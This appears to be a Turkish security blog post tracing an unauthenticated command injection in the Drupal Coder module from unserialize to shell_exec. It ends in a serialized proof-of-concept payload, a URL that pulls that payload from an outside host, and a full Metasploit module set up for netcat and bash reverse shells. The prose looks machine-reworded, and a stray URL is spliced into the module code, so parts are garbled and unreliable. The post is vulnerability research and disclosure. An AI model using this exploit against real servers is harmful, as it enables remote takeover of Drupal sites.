Drupal Coder Zafiyet Analizi & Metasploit Modülü Geliştirilmesi
Bildiğiniz şeklinde Drupal’in security ekibi zafiyet yönetimini son aşama ciddiye almaktadır. Bu ekip, zafiyeti gören şahıs yada kişiler ile koordineli bir emek harcama gerçekleştirip, fazlaca tehlikeli sonuç bir husus yok ise her haftanın çarşamba günü yama yayınlamakta. Benimde vakaya dahil olduğum an, bu modül için yamanın yayınlandığı gün oldu.
Drupal Security ekibi, herhangi bir PoC kodu yada teknik detay paylaşımı gerçekleştirmemektedir. Bu durumda, eğer zafiyet fazlaca belirgin bir halde sırıtmıyor ise, 1day saldırıların önüne geçilmesi noktasında bir katma değere dönüşmektedir.
Bu zafiyet için PoC kodunun hemen hemen oluşturulmuş olmaması, Core Security firmasındaki zafiyet araştırmacısı ekibin attığı tweetlerinde PoC için ciddi bir sorun yaşadıklarını görmüş olmak benimde merakımı uyandırdı…
Ve macera başlamış oldu.
Başlıklar
Zafiyete İlk Bakış
Git commit’ine baktığımızda aşağıdaki informasyon bizi karşılamaktadır.
Görünen o ki, modules/coder/coder_upgrade/scripts/coder_upgrade.run.php adresine web üstünden erişim engeli ile zafiyet yaması yayınlanmış. Zafiyetin oluştuğu noktayı anlamakta maalesef bizlere destek olan bir informasyon değil.
Görünen o ki, modules/coder/coder_upgrade/scripts/coder_upgrade.run.php
adresine web üstünden erişim engeli ile zafiyet yaması yayınlanmış. Zafiyetin oluştuğu noktayı anlamakta maalesef bizlere destek olan bir informasyon değil.
coder_upgrade.run.php dosyasında ki kodları okumaya başlamış olalım.
extract_arguments()
fonksiyonu $path
adlı değişkeni oluşturmakta. Peşinden bu path parametresi, bizim en sevdiğimiz iki fonksiyona, şu demek oluyor ki, file_get_contents
ve unserialize
fonksiyonlarına parametre olarak gönderilmekte.
unserialize
işlemi sonunda, şu demek oluyor ki string olarak anlatılan bir php array’i $parameters
adlı bir değişkeni oluştururduktan sonrasında bir for döngüsüne girmekte. Burada ki en mühim nokta, $$key
şu demek oluyor ki değişken işaretçisinin kullanılmış olmasıdır. Bu sayede coder_upgrade.run.php
içinde istediğimiz isimde değişkeni tanımı yapabilir durumdayız. Eğer ki, $path
değişkeni kontrolümüz altında ise ?
Path değişkenini oluşturan extract_arguments
fonksiyon tanımı aşağıdaki gibidir.
138. satır der ki, eğer beni çağıran şahıs apache2handler ise şu demek oluyor ki web üstünden çağırılmış isem, bununla birlikte da GET parametresi olarak file tanımlı ise, $filename değişkenini return et. ( Bu return ekran görüntüsünde yoktur. 142. satırdaki değişken hemen sonra fonksiyon return’ü ile geri gönderilmektedir. )
Netice ?
coder_upgrade.run.php
dosyasına GET parametresi olarak file ile gönderilen veri, ilk olarak file_get_contents
fonksiyonuna gönderilmektedir. Buradan dönen netice ise unserialize
şu demek oluyor ki object injection süreçlerinden yakından tanıdığımız ikinci bir fonksiyona gönderilmektedir.
PHP düsyasını azca fazlaca tanıyan her insanın bilmiş olduğu suretiyle, file_get_contents
fonksiyonu parametresi eğer saldırganın kontrolü altında ise; eski dostumuz RFI ve LFI, yeni dostumuz SSRF şeklinde zafiyetler oluşmaktadır. Bizim ilgilendiğimiz nokta ise vakası daha da ileriye götürmek ve Remote Code Execution yapabilmek. Peki ya {nasıl} ?
77 – 82 satırlar daha ilkin tanıdığımız kodlar. Bizim içinse en mühim nokta 81. satır şu demek oluyor ki değişken işaretçisinin kullanıldığı yer. Bu sayede uygulamanın devamında ki $variables, $path[‘files_base’]
vb tüm değişkenleri saldırgan olarak tanımlayabilmekteyiz. Bu değişkenlerin değerlerinin değiştirebiliyor olmamız ise bizlere uygulamanın kod akışını denetim edebilme imkanı sunmaktadır. Denetim ettiğimiz akışı ise istediğimiz bir fonksiyona yönlendirme ihtimalimiz mevcuttur.
Tüm kaynak kod analizi temelli saldırıların 3 ana adımı mevcuttur.
- Zafiyet Tespiti
- Varılmak istenen kod bloğu
- İstenen noktaya giden yolun bulunması
Bizim için birinci adım başarıyla tamamlanmış durumda. coder_upgrade.run.php
dosyasında ki tüm değişkenleri kendimiz tanımlayabilmekteyiz. Peki varmak istediğimiz yer ?
➜ coder_upgrade find . -type f|xargs grep 'shell_exec(|passthru(|system(' ./includes/main.inc: shell_exec("diff -up -r $old_dir $new_dir > $patch_filename");
Görünen o ki includes/main.inc
dosyasında bir yerde shell_exec fonksiyonu parametreler ile çalıştırılmakta. Bir ihtimal bu parametreleri değiştirebiliriz ? Fakat ilk olarak bu satırın geçmiş olduğu fonksiyonu, o fonksiyona erişmek içinse hangi kırılımlara ne değerlerin verilmesi icap ettiğini öğrenmeliyiz.
578. satır shell_exec fonksiyonunun kullanıldığı an. 575 ve 576. satırlarda ise shell_exec tarafınca kullanılan parametrelerin tanımları bulunmakta. Görünen o ki, eğer $item
adlı fonksiyon parametresini biz belirleyebilirsek, bir tane Command Injection zafiyetimiz oluşmakta. $item
adlı değişkeninde bir PHP array’i bulunduğunu not ederek yolculuğa devam ediyoruz. Bu fonksiyon şu demek oluyor ki coder_upgrade_make_patch_file
nerede ? kim tarafınca çağırılıyor ?
İki tane haber bizi bekliyor. İyi haber; direk 63. satıra bakınız. $item
parametresi ile beraber hedeflediğimiz fonksiyon çağırılmış durumda.
Fena haber ise; 63. satıra kadar bir fazlaca denetim, fonksiyon çağrısı şu demek oluyor ki alt programlara dallanma mevcut. Görevimiz artık daha zor, bu yüzden yaklaşımımızı değiştirmemiz gerekiyor.
- 30. ve 51. satırlar içinde tüm if’ler için eğer denetim edebildiğimiz bir parametre ise if’e asla girmemeyi sağlamalıyız. Eğer girmek durumunda isek, mümkün mertebe minimum dallanmaya sebeb olacak şekilde hareket etmeliyiz.
- 51,52, 60 ve 62. satırlarda ki tüm fonksiyonları tek tek denetim edeceğiz. Hiçbir error olmadan bu fonksiyonlar true dönüş yapmak zorundayız. Ters halde 63. satıra şu demek oluyor ki Command Injection yapacağımız
coder_upgrade_make_patch_file
fonksiyonuna ulaşamayız.
Tüm bu kuralları ve süreci uygulamadan ilkin bir başka sorunumuz daha var. coder_upgrade_make_patch_file
fonksiyonuna erişmek istiyoruz ? evet! Peki bunu kim çağırıyor ? coder_upgrade_start
fonksiyonu. Güzel…
Peki coder_upgrade_start
’ı kim çağırıyor ? Zira bu fonksiyon çağırılmaz ise hiçbir şekilde coder_upgrade_make_patch_file
adresine erişim sağlayamayacağız.
Yazının başına geri dönüyoruz. coder_upgrade.run.php
dosyası şu demek oluyor ki bizim saldırımızı başlattığımız dosyada 119. satıra bakınız. Tamda istediğimiz fonksiyon burada çağırılmış durumda..!
Durum Özeti
Uzun soluluklu seyahatimize başlamadan ilkin bir yol haritamızın özetini yapalım.
coder_upgrade.run.php
bizim başlangıç noktamız.file
parametresi üstünden serialized edilmiş hususi bir array gönderebiliyoruz. Bu array’in her indisicoder_upgrade.run.php
içinde bir değişken olarak tanımlanabilmekte. (foreach döngüsünü hatırlayın.)- 119. satırdaki
coder_upgrade_start()
bizim başlangıç fonksiyonumuz. Parametre olarak$upgrade
,$extensions
ve$items
değişkenlerini alıyor. Bu değişkenleri bundan önceki adımda anlattığımız durum yardımıyla biz tanımlayabilmekteyiz. coder_upgrade_start()
fonksiyonunda ki 30. ve 51. satırlar içinde tüm if’ler için eğer denetim edebildiğimiz bir parametre ise if’e asla girmemeyi sağlamalıyız. Eğer girmek durumunda isek mümkün mertebe minimum dallanmaya sebeb olacak şekilde hareket etmeliyiz. Zira gayemiz en kısa yoldan 63. satırdakicoder_upgrade_make_patch_file()
fonksiyonuna erişmek.- Gene
coder_upgrade_start()
fonksiyonunun tanımında ki 51,52, 60 ve 62. satırlarda ki tüm fonksiyonları tek tek denetim edeceğiz. Hiçbir error olmadan bu fonksiyonlar true dönüş yapmak zorunda. Ters halde 63. satıra şu demek oluyor ki Command Injection yapacağımızcoder_upgrade_make_patch_file
fonksiyonuna ulaşamayız.
BAŞLANGIÇ
Daha ilkin belirttiğim şeklinde coder_upgrade.run.php
dosyasının 119. satırına hiçbir sorun olmadan erişmemiz gerekmekte. 119. satıra ulaşmadan önce ilgimizi çeken bir kaç mühim değişken tanımı var.
Bu değişkenleri tanımlamak zorundayız, bu sebeple hemen sonra bir fazlaca süreçte kullanılıyor olacak. Gördüğünüz suretiyle $path
array’inde files_base
, libraries_base
ve modules_base
adlı array elemanlarına ihtiyacımız var. Saldırımızı en sonunda serialized edilmiş bir array üstünden gerçekleştireceğiz. Bunun için ilk olarak paths
değişkenini aşağıdaki şekilde hücum kodumuzda tanımlamaktayız.
Burada dikkat edilecek husus; modules
, files
ve libraries
için doğru path’in tanımlanması. Bunun içinde ../.. dizin tanımlarını kullanabiliriz.
119. satıra ulaşmadan önce karşımıza bir öteki dallanma durumu çıkmakta.
Bu durumdan kurtulmak için $theme_cache
parametresini var olmayan bir dosya yada klasör ile tanımlayabiliriz. Böylece is_file
fonksiyonu FALSE dönecek ve dallanma önlenmiş olacaktır.
Hücum array’imizin son hali aşağıdaki duruma geldi. theme_cache
ve variable
sisimli iki array elemanı daha ekledik. Bunlardan theme_cache
var olmayan bir dosya adı yazdık ki yukarıdaki dallanma gerçekleşmesin.
Ve sonunda 119. satırdaki coder_upgrade_start()
fonksiyonuna sorunsuz bir halde erişmiş buluyoruz. Unutmamalıyız ki, hemen hemen başlangıç noktasına geldik. coder_upgrade_start()
üstünden coder_upgrade_make_patch_file()
fonksiyonuna erişmeye çalışacağız.
1. adım – coder_upgrade_start() Fonksiyonu
Bu fonksiyon oldukça uzun bir tanıma haiz. Yazının daha önceki kısımlarında fonksiyon tanımı paylaşılmıştı. Yeniden hatırlatmak ve adım adım çözümleme etmek için aşağıda tanımı yeniden veriyorum.
Amacımızıda yeniden hatırlatmakta yarar var, 63. satırda ki coder_upgrade_make_patch_file()
fonksiyonuna erişmeliyiz.
İlk dikkat çeken nokta 30-38. satırlar içinde ki if tanımları. $upgrades, $extensions ve $items değişkenleri array olmalı. Bununla beraber da minimum bir tane elemanı bulunmalı. Ters halde return False
sonucu oluşacak ve 63. satıra gelmeden execution sonlanacaktır. Bu üç değerinde fonksiyon parametresi bulunduğunu görmekteyiz. Doğrusu bu tanımları coder_upgrade.run.php
üstünde yapmalıyız.
Hücum kodumuzunda ki array’i aşağıdaki şekilde güncelliyoruz.
Bu bizi hiçbir return False
komutuna düşmeden direkt 39. satıra kadar getirmiş olacaktır.
39 – 50. satırlar içinde ki kodları ise maalesef denetim edemiyoruz. Bunun sebebi hem variable_get()
fonksiyonu çağrılarıdır, hemde bazı değişkenler fonksiyon mahalli değişkenleridir. Fonksiyon mahalli değişkenlerini global
ön tanımı olmadığı sürece denetim edememekteyiz. Bu durumda bizi direkt 51. satırda ki coder_upgrade_load_code($upgrade)
fonksiyonu çağrısına getirmektedir. $upgrade
değişkenini denetim edebildiğimiz için bu fonksiyonada hususi olarak bakmalıyız. Herhangi bir mesele olmadan bu fonksiyon return True
döndürmelidir. Ters halde 63. satıra ilerleyemeyiz.
Gene ilk bakışta dikkat çeken bir fazlaca dallanma ve daha da önemlisi require_once
çağrılarıdır. Mahalli dizin üstünden başka dosyalar çağırılabilmekteyiz. Bu özellik yardımıyla Local File Inclusion saldırıları gerçekleştirebilme ihtimalimiz mevcut. Lakin gayemiz direkt 63. satıra şu demek oluyor ki Command Injection yapacağımız fonksiyona erişmek olduğundan vakit kaybetmeden coder_upgrade_load_code()
fonksiyonunun netice üretmesini sağlamalıyız. Ihmal etmeyin, $upgrade parametresini biz denetim etmekteyiz!
İlk karşımıza çıkan,78. satırdaki foreach
döngüsü oldu. Bu döngüyü bir kere dönerek fonksiyondan çıkmayı istemekteyiz. Ek olarak 80. satırdaki if ile meydana getirilen dallanmaya dikkat edin. Kıymet 80. satırda ki if kontrolü false olursa 85. satırdaki drupal_get_path()
çağrısı yapılacaktır. Bu davet ile uğraşmaktansa direk 82. satırdaki değişken tanımını yapmayı tercih etmeliyiz. Böylece fazlaca daha azca bir dallanma ile yolumuza devam edebiliriz.
İkinci bir alt dallanma ise 87. ve 92. satırlarda ki if, elseif tanımları. Eğer 87. satırdaki if true dönerse, bir başka foreach
ve require_once
çağrısı olacaktır ki bunu asla istemiyoruz. Ek olarak 92. satırda ki elseif true dönerse gene require_once
çağrısı olacaktır. Bu durumdan da kaçmak isteriz. Şundan dolayı require_once
çağrılarının sonunda .upgrade şeklinde postfix tanımları mevcut. Bunu x00 şu demek oluyor ki Null Byte injection ile aşabiliriz. Lakin PHP Null Byte Injection bir tek PHP4 – PHP5.3 versiyonları içinde iş yapmaktadır. Generic bir exploit yazmamıza engel olabilir. Bir ihtimal hedefimiz PHP7.0 kullanmakta ?
Tüm bu çileye son verecek hücum array tanımımız aşağıdaki şekilde olmalıdır. upgrades
tanımına dikkatlice bakınız. path değişkeni tanımlı ve içi boş OLMADIĞI için 82. satıra giriş yapabilmekteyiz. Böylece bahsettiğim 85. satırdakidrupal_get_path()
fonksiyonundan kurtulmuş oluyoruz.
Ek olarak $upgrade
değişkenimizde $files
parametresi olmadığı için 87. satırdaki dallanmadan da kurtuluyoruz. Bu bizi 92. satıra getirmektedir. Bu satırdaki if kontrolünün FALSE dönmesi içinde module
değişkenine foo
kıymetini atadık. Böylecek file_exist()
fonksiyonu FALSE dönecek ve 94. satırdaki require_once koduna asla uğramadan fonksiyondan başarıya ulaşmış bir halde kurtulmuş olacağız.
Evet. Başladığımız noktaya geri dönmeyi başardık. coder_upgrade_start()
fonksiyonunun 51. satırındakicoder_upgrade_load_code($upgrades);
çağrısından başarıyla çıkmış olduk. Yolumuza devam etmenin zamanı geldi. 63. satıra erişmeliyiz. Bunun için coder_upgrade_start()
fonksiyonunun ilgili kod bloğunu yeniden aşağıda paylaşıyorum.
55. satırda bir başka foreach daha var. Buna girmek zorundayız. Ters halde 63. satıra erişemeyiz. coder_upgrade_make_patch_file()
bizim hedefimiz!
Foreach döngüsü, $items
adlı array’in her elemanını tek tek $item
değişkeninde tutmakta. 63. satırdaki fonksiyonumuz ise $item
değişkenini parametre olarak almakta..! Mükemmel! Lakin başka problemlerimiz var. Minimum 3 tane değişik fonksiyonunun çağrısı oluşacak…
57. satırda ki if eğer doğru netice üretirse, coder_upgrade_convert_begin()
fonksiyonu çağrılacaktır. Bunu engellemeliyiz. Başka bir dallanmayı istemiyoruz. Her neyse ki if’i çözümleme ettiğimizde bu fonksiyona girmek için HTTP_USER_AGENT değişkenimiz ya tanımlı olmamalı, yada user agent değerimiz simpletest
olmamalıdır. Doğrusu demem o ki, düzgüsel bir HTTP GET talebimiz bu 58. satıra dallanmaya aslına bakarsanız izin vermemekte. Güzel bir haber bu, yolumuza devam edebiliriz.
60. satırdaki coder_upgrade_convert_dir()
ve 62. satırdaki coder_upgrade_convert_end()
çağrılarından kaçamıyoruz. Şimdiye kadar yaptığımız şeklinde, bir yolunu bulup bu fonksiyonların problemsiz bir halde sonuçlanmasını sağlamalıyız. Her iki fonksiyonun parametrelerinin minimum 2 tanesini biz denetim edebiliyoruz.
1.1 Alt Dallanma: coder_upgrade_convert_dir() Analizi
Karşımıza fazlaca daha büyük bir fonksiyon çıkmış durumda. Bu birazcık motivasyon kırıcı olsada ben bir tek ilgileneceğimiz kısımları, üstünde saatler harcadıktan sonrasında, tespit ettim. Bir tek ilgili kısımları sizlerle aşağıda paylaşıyorum.
166. ve 167. satırda denetim edebildiğimiz iki değişken üstünden $dirname
ve $new_dirname
tanımları yapılmış durumda. 170. satırdaki dallanmada ise bir tercih yapacağız. Bu tercih yazının Exploitation
kısmında karşımıza ciddi bir sorun çıkartacak. Lakin o kısma hemen sonra geliriz. Ilk olarak sorunumuz şu: $new_dirname
eğer is_dir()
kontrolünden false dönerse sunucuda bir dizin oluşturulacak ( 171 ve 172. satırlar) eğer mevcud bir dizini belirtirsek ise 175. satırda başka bir fonksiyon daha çağırılacak. Açıkcası daha çok fonksiyon ile uğraşmak istemiyoruz. Bu yüzden tercihimiz 171. ve 172. satırlara girmek olmalı.
189. satırda ise $dirname
değişkeninin işaret etmiş olduğu dizinde ki tüm dosyalar üstünde, 190. satırdaki foreach çalışacak. Ekran görüntüsüne dahil etmediğim bu kısım uzunca bir başka kod bloğuna ihtiva etmekte. Bu kısımlara girmemek için $dirname
değişkenini Drupal Coder ile gelen fotoğraf dosyasına işaret edebiliriz. Bu sayede scandir()
bir tek resimlerin olduğu bir array dönecek. Böylece foreach’e girsek bile hiçbir .php, .module, .inc vb uzantıya haiz dosya olmadığı için foreach hiçbir iş yapmadan çıkacaktır 🙂
Yeni hücum array’imiz aşağıdaki şekilde oluşmaktadır. items
array’inin old_dir
ve new_dir
elemanlarına yukarıdaki paragrafta belirttiğimiz işi meydana getirecek değerleri yazdık.
Bu fonksiyondan da alnımızın akı ile çıktıktan sonrasında, şimdi sıra ikinci fonksiyonumuzda.
1.2 Alt Dallanma: coder_upgrade_convert_end()
Artık talih yüzümüze gülmekte.
Gördüğünüz suretiyle fazlaca azca bir tarif var. Hiçbir şey ile uğraşmadan buradan direk geçiyoruz.
2. Ve beklenen an! coder_upgrade_make_patch_file()
Onca çileden sonrasında nihayet son durağa varmış bulunmaktayız. 551. satıra gelmek üzereyiz. shell_exec fonksiyonuna baktığımızda 551. satırdaki $old_dir
ve $new_dir
adlı iki parametrenin herhangi bir tedbir alınmadan direkt komut içinde kullanıldığını görmekteyiz. Zira bunu yazının en başlangıcında tespit ettik ve buraya varmaya çalıştık.
548 ve 549. satırlarda bu iki değişkenin {nasıl} atandığını görmekteyiz. Eğer $item
adlı array’in old_dir
ve new_dir
adlı indisleri mevcut ise, bu değerler direkt yeni değişken üretiminde kullanılmakta. Bu bizim için mutluluk verici bir haber. Şundan dolayı $item
array’i fonksiyon parametresinden gelmekte. Doğrusu bizim en başından beri denetim edebildiğimiz bir takım.
Aşağıdaki hücum array’imizin PoC halini oluşturmuş durumdayız. items array’inin new_dir adlı parametresine payload yerleştirilmekte. Bu sayede diff komutunu çalıştıran shell_exec fonksiyonunda Command Injection gerçekleştirebilmekteyiz.
Proof of Concept
Yukarıda son hali paylaşılmış olan array’imizi mahalli sunucu üstünden yayınlıyoruz.
http://10.0.0.1:8081/exploit.php a:6:s:5:"paths";a:3:s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";s:11:"theme_cache";s:16:"theme_cache_test";s:9:"variables";s:14:"variables_test";s:8:"upgrades";a:1:i:0;a:2:s:4:"path";s:2:"..";s:6:"module";s:3:"foo";s:10:"extensions";a:1:s:3:"php";s:3:"php";s:5:"items";a:1:i:0;a:3:s:7:"old_dir";s:12:"../../images";s:7:"new_dir";s:15:"-v; sleep 100 #";s:4:"name";s:4:"kontrol";
Görüldüğü suretiyle serialized edilmiş halde karşımızda. Bu veriyi ise file
GET parametresi üstünden uygulamaya göndermeliyiz. En başa, bu file parametresini gönderdiğimiz kod bloğunu hatırlayalım.
Hatırlarsanız extract_arguments()
fonksiyonu HTTP GET üstünden file parametresini almakta ve $path adlı değişkene atamaktaydı. Bu değişken file_get_contents()
üstünden indirilmekte ve unserialize edilerek hücum array’imiz uygulamaya ulaştırılmaktaydı.
POC URL : http://10.0.0.162/drupal/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=http://10.0.0.1:8081/exploit.php
Sayfanın geri dönüşü 10 saniye
geciktiğini görmekteyiz. Bu bizlere Blind Command Injection
hücum yapabildiğimizi ispatlamaktadır…!
Metasploit Modülü
Açıkcası şu ana anlatılanları çözümleme etmem 1 gün şeklinde ciddi bir süreye, güzel bir cumartesi günüme mal oldu. Detaylı bir kaynak kod analizi, dallanmaları engellemenin yolları, küçük ve ince trickler ile geçen sürenin arkasından nihayet PoC’yi gerçekleştirebildik. Şimdi ise sıra “reliable exploit” ‘in geliştirilmesine geldi.
Karşılaşılan Engeller
Hatırlarsanız ki hücum komutumuzu $item
array’inin new_dir
elemanı üstünden göndermekteyiz. Uzun devam eden analizlerimizden bir tanesinde, command injection’ı gerçekleştirmeden ilkin bu değişkenin başka fonksiyonlar tarafınca kullanıldığını görmüştük. Hatırlamayanlar için coder_upgrade_convert_dir()
fonksiyonuna geri dönelim.
Burada $item[‘new_dir]
şu demek oluyor ki bizim hücum kodumuzu ilettiğimiz parametre mkdir()
ve chmod()
fonksiyonlarında kullanılmakta. Biz 175. satırda ki fonksiyondan korktuğumuz için -açıp ilgili fonksyonu okuyun, hakkaten korkutucu- 171. ve 172. satırlara giriş yapmayı tercih ettik. Aslına bakarsanız bu analizi yaparken de, bizlere hemen sonra ciddi bir sorun olacak bir karar veriyoruz, demiştik.
Sorun #1: mkdir
ve chmod
fonksiyonları input olarak almış olduğu değişkenin 255 karakterden minik olmasını istemektedir. Bu kaide unix ailesinin dosya adı boyutu sınırlandırmasından gelmekte. Buda hücum kodumuzun -shellcode olarak düşünebilirsiniz- belirli bir limitte olmasını mecburi kılmakta.
Ek olarak diff komutunun herhangi bir error üretip error.log’a yazılmaması için payload’ımız -v;
karakteri ile başlamakta. Komut sonrası kısmın işlem dışarısına alınması içinse [SPACE]#
kullanmak zorundayız. Buda aslına bakarsanız 255 şeklinde limitli olan bir payload alanı için 5 tane karakterimizide kaybettiğimiz anlamına gelmekte. Aslolan payload uzunluğumuz 250 karakter olmak zorunda artık.
Sorun #2: Gene mkdir
ve chmod
için parametre olaran gelen veride /
işareti path belirtmektedir. Bizim reverse_shell vb payloadlarımızı taşıyan bu değişkende / işaretini artık kullanamıyoruz. Doğrusu nc -i /bin/bash 10.0.0.1 diyemeyiz. Şundan dolayı payload içinde /
bulunmaktadır.
Bu problemleri Metasploit’in modüle özellikleri kullanarak aşabilmekteyiz.
Space alanının 250 yapılması ve BadChars olarak x2f şu demek oluyor ki / işaretinin atanması Metasploit modülünün payload generate işleminde lüzumlu encoding’lerin yapılmasını sağlamakta.
Ek olarak PayloadType ve RequiredCmd olarakta 250 karakter altında payload ürettiğine güvenli olduğumuz payload tiplerini enable etmiş bulunuyoruz.
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info=) super(update_info(info, 'Name' => 'Drupal CODER Module Remote Command Execution', 'Description' => %q This module exploits a Remote Command Execution vulnerability in Drupal CODER Module. Unauthenticated users can execute arbitrary command under the context of the web server user. CODER module doesn't sufficiently validate user inputs in a script file that özgü the php extension. A malicious unauthenticated user can make requests directly to this file to execute arbitrary command. The module does not need to be enabled for this to be exploited This module was tested against CODER 2.5 with Drupal 7.5 installation on Ubuntu server. , 'License' => MSF_LICENSE, 'Author' => [ 'Taha Mumcu <info@tahamumcu.com.tr>' # msf module ], 'References' => [ ['URL', 'https://www.drupal.org/node/2765575'] ], 'Privileged' => false, 'Payload' => 'Space' => 250, 'DisableNops' => true, 'BadChars' => "x2f", 'Compat' => 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'netcat netcat-e bash-tcp' , , 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Automatic', ] ], 'DisclosureDate' => 'Jul 13 2016', 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/']) ] ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'), ) if res && res.body.include?('file parameter is not setNo path to parameter file') Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit p = '' p << 'a:6:s:5:"paths";a:3:s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";' p << 's:11:"theme_cache";s:16:"theme_cache_test";' p << 's:9:"variables";s:14:"variables_test";' p << 's:8:"upgrades";a:1:i:0;a:2:s:4:"path";s:2:"..";s:6:"module";s:3:"foo";' p << 's:10:"extensions";a:1:s:3:"php";s:3:"php";' p << 's:5:"items";a:1:i:0;a:3:s:7:"old_dir";s:12:"../../images";' p << 's:7:"new_dir";s:' p << (payload.encoded.length + 5).to_s p << ':"-v;' p << payload.encoded p << "https://www.tahamumcu.com.tr/#";s:4:"name";s:4:"kontrol";' payload = "data://text/plain;base64,#Rex::Text.encode_base64(p)" send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'), 'encode_params' => false, 'vars_get' => 'file' => payload ) end end
Bu iki informasyon ışığında bir metasploit modülü geliştirdim ve PR gönderdim. Bu yazının yazdılığı tarihte de IRC üstünden HDM (HD Moore) ve WVU-7 nickli metasploit yetkilileri ile de uzun uzun münakaşa ettik. Şu anda itibariyle modül kabul almış durumda. (https://github.com/rapid7/metasploit-framework/pull/7115/)
Son
Olayın sonunda zafiyeti gören NCC Group araştırmacısı ile de görüşmüş oldum. Kendisi zafiyeti tespit ettikten sonrasında Remote Code Execution için bir race condition durumunu kullanmaya çalıştığını dile getirmişti. Kendisine(Nickly Bloor) bu süreçteki katkılarından dolayı teşekkür ederim.
Merhaba, beni Instagram'da takip etmeyi unutmayın : @tahamumcu